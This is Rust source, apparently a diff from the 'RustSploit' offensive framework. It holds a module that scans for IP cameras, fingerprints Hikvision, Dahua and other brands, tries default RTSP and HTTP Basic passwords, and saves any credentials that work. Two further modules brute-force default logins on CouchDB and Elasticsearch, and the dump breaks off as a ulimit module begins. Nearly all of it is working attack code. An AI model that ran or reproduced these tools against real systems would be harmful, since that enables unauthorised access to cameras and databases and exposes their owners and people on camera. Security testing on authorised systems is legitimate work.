fn get_protocol(port: u16) -> &'static str {
|
||||
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
|
||||
}
|
||||
|
||||
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
|
||||
let mut map = HashMap::new();
|
||||
|
||||
// Web ports
|
||||
map.insert(80, ("HTTP", " - Standard Web"));
|
||||
map.insert(443, ("HTTPS", " - Secure Web"));
|
||||
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
|
||||
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
|
||||
map.insert(8000, ("HTTP-Alt", ""));
|
||||
|
||||
// RTSP ports
|
||||
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
|
||||
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
|
||||
|
||||
// RTMP ports
|
||||
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
|
||||
|
||||
// Custom camera ports
|
||||
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
|
||||
|
||||
// ONVIF
|
||||
map.insert(3702, ("ONVIF", " - Camera Discovery"));
|
||||
|
||||
map
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// PORT SCANNING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let mut open_ports = Vec::new();
|
||||
let mut rtsp_ports = Vec::new();
|
||||
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
|
||||
let mut tasks = Vec::new();
|
||||
let target_arc = Arc::new(target.to_string());
|
||||
|
||||
// Deduplicate ports
|
||||
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
|
||||
let port_map = get_port_service_map();
|
||||
|
||||
for port in unique_ports {
|
||||
let t = target_arc.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
// Semaphore can only error if it was closed; surfacing
|
||||
// this is important so the operator sees why scanning
|
||||
// suddenly stopped finding ports.
|
||||
tracing::warn!(target = %t, port, "scan semaphore acquire failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect (canonical helper — honors `setg src_port`)
|
||||
if crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
}
|
||||
None
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(Some((port, is_rtsp))) = task.await {
|
||||
open_ports.push(port);
|
||||
if is_rtsp {
|
||||
rtsp_ports.push(port);
|
||||
}
|
||||
|
||||
// Logging
|
||||
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
|
||||
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
|
||||
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
|
||||
}
|
||||
}
|
||||
|
||||
open_ports.sort();
|
||||
rtsp_ports.sort();
|
||||
(open_ports, rtsp_ports)
|
||||
}
|
||||
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
if let Err(e) = stream.write_all(request.as_bytes()).await {
|
||||
tracing::trace!("RTSP OPTIONS write failed: {e}");
|
||||
return false;
|
||||
}
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await
|
||||
&& n > 0 {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// FINGERPRINTING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
|
||||
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
|
||||
let found = Arc::new(Mutex::new(false));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in open_ports {
|
||||
let t = target.to_string();
|
||||
let c = client.clone();
|
||||
let f = found.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, t, port);
|
||||
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b.to_lowercase(),
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
// Server header indicators
|
||||
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
|
||||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
|
||||
headers.contains("ipcam") || headers.contains("webcam") {
|
||||
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Body indicators
|
||||
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
|
||||
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
|
||||
body.contains("ipcam") || body.contains("netcam") {
|
||||
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Auth requirement check
|
||||
if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if indicators {
|
||||
let mut lock = f.lock().await;
|
||||
*lock = true;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Err(e) = task.await { eprintln!("[!] Task join failed: {}", e); }
|
||||
}
|
||||
|
||||
|
||||
*found.lock().await
|
||||
}
|
||||
|
||||
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
|
||||
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
|
||||
|
||||
let mut found_count = 0;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in COMMON_PATHS {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
|
||||
status == reqwest::StatusCode::FORBIDDEN {
|
||||
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
|
||||
found_count += 1;
|
||||
// Record the exposed page so it reaches loot/export, not
|
||||
// just stdout.
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Exposed camera page {} (HTTP {})", url, status),
|
||||
data: Some(serde_json::json!({
|
||||
"url": url,
|
||||
"port": port,
|
||||
"path": path,
|
||||
"status": status.as_u16(),
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found_count == 0 {
|
||||
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
|
||||
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
|
||||
|
||||
let mut found_brand = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b.to_lowercase(),
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
let brand = if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
Some("Hikvision")
|
||||
} else if headers.contains("dahua") || body.contains("dahua") {
|
||||
Some("Dahua")
|
||||
} else if headers.contains("axis") || body.contains("axis") {
|
||||
Some("Axis")
|
||||
} else if body.contains("cp plus") || body.contains("cpplus") {
|
||||
Some("CP Plus")
|
||||
} else if body.contains("foscam") || headers.contains("foscam") {
|
||||
Some("Foscam")
|
||||
} else if body.contains("vivotek") || headers.contains("vivotek") {
|
||||
Some("Vivotek")
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if let Some(brand) = brand {
|
||||
crate::mprintln!("🔥 {} on port {}!", format!("{} Camera Detected", brand).bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
// Record the fingerprint so it reaches loot/export, not just
|
||||
// stdout.
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("{} camera fingerprinted on {}:{}", brand, target, port),
|
||||
data: Some(serde_json::json!({
|
||||
"brand": brand,
|
||||
"port": port,
|
||||
"url": url,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_brand {
|
||||
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// CREDENTIALS
|
||||
// =================================================================================
|
||||
|
||||
async fn test_default_passwords(ctx: &ModuleCtx, target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
|
||||
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
|
||||
crate::mprintln!("{}", "[ℹ️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
|
||||
|
||||
let all_creds_vec = get_default_credentials();
|
||||
let all_creds = all_creds_vec.as_slice();
|
||||
let priority_creds = vec![
|
||||
// Top priority credentials
|
||||
("admin", "admin"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "12345"),
|
||||
("", "admin"),
|
||||
];
|
||||
|
||||
// Test RTSP ports first
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
|
||||
for &port in rtsp_ports {
|
||||
for &(user, pass) in &priority_creds {
|
||||
if ctx.is_cancelled() { return; }
|
||||
ctx.rate_limit(target).await;
|
||||
if test_rtsp_auth(target, port, user, pass).await {
|
||||
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
target,
|
||||
port
|
||||
);
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: target, port, service: "rtsp", username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/camxploit/camxploit",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("RTSP credentials valid {}:{} on rtsp://{}:{}/", user, pass, target, port),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "rtsp",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test HTTP/HTTPS ports
|
||||
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
|
||||
for &port in open_ports {
|
||||
if rtsp_ports.contains(&port) {
|
||||
continue; // Already tested
|
||||
}
|
||||
if ctx.is_cancelled() { return; }
|
||||
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
// First check if auth is required
|
||||
ctx.rate_limit(target).await;
|
||||
if let Ok(resp) = client.get(&url).send().await
|
||||
&& resp.status() == reqwest::StatusCode::UNAUTHORIZED {
|
||||
// Try credentials
|
||||
// First try priority creds
|
||||
let mut tested = HashSet::new();
|
||||
for &(user, pass) in &priority_creds {
|
||||
if ctx.is_cancelled() { return; }
|
||||
tested.insert((user, pass));
|
||||
ctx.rate_limit(target).await;
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await
|
||||
&& resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: target, port, service: "http", username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/camxploit/camxploit",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("HTTP Basic credentials valid {}:{} @ {}", user, pass, url),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "http",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"url": url,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Then try remaining creds from the full list
|
||||
for &(user, pass) in all_creds {
|
||||
if ctx.is_cancelled() { return; }
|
||||
if tested.contains(&(user, pass)) { continue; }
|
||||
|
||||
ctx.rate_limit(target).await;
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await
|
||||
&& resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: target, port, service: "http", username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/camxploit/camxploit",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("HTTP Basic credentials valid {}:{} @ {}", user, pass, url),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "http",
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"url": url,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(2)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
target, port, auth_str
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_ok() {
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0 200 OK") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// STREAM DETECTION
|
||||
// =================================================================================
|
||||
|
||||
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
|
||||
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
|
||||
|
||||
// Show RTSP links
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
|
||||
let common_paths = [
|
||||
"/",
|
||||
"/live.sdp",
|
||||
"/h264.sdp",
|
||||
"/stream1",
|
||||
"/Streaming/Channels/1",
|
||||
"/Streaming/Channels/101",
|
||||
"/cam/realmonitor",
|
||||
"/live/ch00_0",
|
||||
"/livestream",
|
||||
"/axis-media/media.amp"
|
||||
];
|
||||
|
||||
for &port in rtsp_ports {
|
||||
for path in common_paths {
|
||||
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
|
||||
}
|
||||
|
||||
// Check HTTP streams on open ports
|
||||
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
|
||||
let stream_paths = [
|
||||
"/video",
|
||||
"/stream",
|
||||
"/live",
|
||||
"/mjpg/video.mjpg",
|
||||
"/snapshot.jpg",
|
||||
"/videostream.cgi",
|
||||
"/video.cgi",
|
||||
"/image.jpg",
|
||||
"/cgi-bin/mjpeg",
|
||||
"/axis-cgi/mjpg/video.cgi"
|
||||
];
|
||||
|
||||
let mut found_streams = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in stream_paths {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
// Use head first
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
let ct = resp.headers().get("content-type")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
|
||||
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
|
||||
found_streams = true;
|
||||
// Record the exposed/unauthenticated stream so it
|
||||
// reaches loot/export, not just stdout.
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Potential exposed camera stream {} (Content-Type: {})", url, ct),
|
||||
data: Some(serde_json::json!({
|
||||
"url": url,
|
||||
"port": port,
|
||||
"content_type": ct,
|
||||
"auth_required": false,
|
||||
})),
|
||||
});
|
||||
} else if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
|
||||
found_streams = true;
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Protected camera stream {} (authentication required)", url),
|
||||
data: Some(serde_json::json!({
|
||||
"url": url,
|
||||
"port": port,
|
||||
"auth_required": true,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_streams && rtsp_ports.is_empty() {
|
||||
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// =================================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
|
||||
DEFAULT_CREDENTIALS.to_vec()
|
||||
}
|
||||
|
||||
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
|
||||
/// Returns true if the host should be skipped (only non-camera services found)
|
||||
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
|
||||
if open_ports.is_empty() {
|
||||
return true;
|
||||
}
|
||||
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
|
||||
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Great,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
crate::register_native_module!(crate::module::Category::Creds, "camxploit/camxploit", native);
|
||||
@@ -0,0 +1 @@
|
||||
pub mod exploit;
|
||||
@@ -0,0 +1,112 @@
|
||||
//! CouchDB credential brute-force via POST /_session.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 5984;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "CouchDB Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests CouchDB authentication via POST /_session. Single-target — scheduler does \
|
||||
CIDR / random / file fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://docs.couchdb.org/en/stable/api/server/authn.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(5984),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("couchdb_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "couchdb",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/couchdb_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
let client = match crate::utils::build_http_client(timeout) {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("http client: {e}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
};
|
||||
let url = format!("http://{}:{}/_session", host, port);
|
||||
let body = format!(
|
||||
"name={}&password={}",
|
||||
crate::utils::url_encode(user),
|
||||
crate::utils::url_encode(pass)
|
||||
);
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await;
|
||||
let resp = match resp {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("post: {e}"),
|
||||
retryable: e.is_timeout() || e.is_connect(),
|
||||
}
|
||||
}
|
||||
};
|
||||
let status = resp.status().as_u16();
|
||||
match status {
|
||||
200 => {
|
||||
// CouchDB POST /_session returns 200 + {"ok":true,...} on a real login.
|
||||
// Require the body to confirm it, so a non-CouchDB service (or an HTML
|
||||
// page) that answers 200 isn't recorded as a valid credential.
|
||||
match resp.text().await {
|
||||
Ok(body) if body.contains("\"ok\":true") => LoginResult::Success,
|
||||
Ok(_) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("body: {e}"),
|
||||
retryable: e.is_timeout(),
|
||||
},
|
||||
}
|
||||
}
|
||||
401 | 403 => LoginResult::AuthFailed,
|
||||
429 | 500..=599 => LoginResult::Error {
|
||||
message: format!("transient status {status}"),
|
||||
retryable: true,
|
||||
},
|
||||
other => LoginResult::Error {
|
||||
message: format!("unexpected status {other}"),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/couchdb_bruteforce", native);
|
||||
@@ -0,0 +1,111 @@
|
||||
//! Elasticsearch credential brute-force via HTTP Basic on the cluster root.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 9200;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("elastic", "changeme"),
|
||||
("elastic", "elastic"),
|
||||
("elastic", "password"),
|
||||
("kibana", "kibana"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Elasticsearch Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests Elasticsearch HTTP Basic auth on the cluster root endpoint. \
|
||||
Single-target — scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(9200),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("elasticsearch_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "elasticsearch",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/elasticsearch_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
let client = match crate::utils::build_http_client(timeout) {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("http client: {e}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
};
|
||||
let url = format!("http://{}:{}/", host, port);
|
||||
let resp = client
|
||||
.get(&url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await;
|
||||
let status = match resp {
|
||||
Ok(r) => r.status().as_u16(),
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("get: {e}"),
|
||||
retryable: e.is_timeout() || e.is_connect(),
|
||||
}
|
||||
}
|
||||
};
|
||||
match status {
|
||||
200 => {
|
||||
// An Elasticsearch node with security DISABLED returns 200 to every
|
||||
// request and ignores the credentials, so a credentialed 200 alone is
|
||||
// not proof — without this guard every password is a false positive on
|
||||
// an open node. Confirm an UNauthenticated GET is rejected (401) first.
|
||||
match client.get(&url).send().await {
|
||||
Ok(r) if r.status().as_u16() == 401 => LoginResult::Success,
|
||||
Ok(r) => {
|
||||
tracing::debug!(
|
||||
"elasticsearch {host}:{port}: unauthenticated GET returned {} — node not secured, not a credential",
|
||||
r.status()
|
||||
);
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("baseline get: {e}"),
|
||||
retryable: e.is_timeout() || e.is_connect(),
|
||||
},
|
||||
}
|
||||
}
|
||||
401 | 403 => LoginResult::AuthFailed,
|
||||
429 | 500..=599 => LoginResult::Error {
|
||||
message: format!("transient status {status}"),
|
||||
retryable: true,
|
||||
},
|
||||
other => LoginResult::Error {
|
||||
message: format!("unexpected status {other}"),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/elasticsearch_bruteforce", native);
|
||||
@@ -1,41 +1,154 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rlimit::Resource;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "System Ulimit Configuration".to_string(),
|
||||
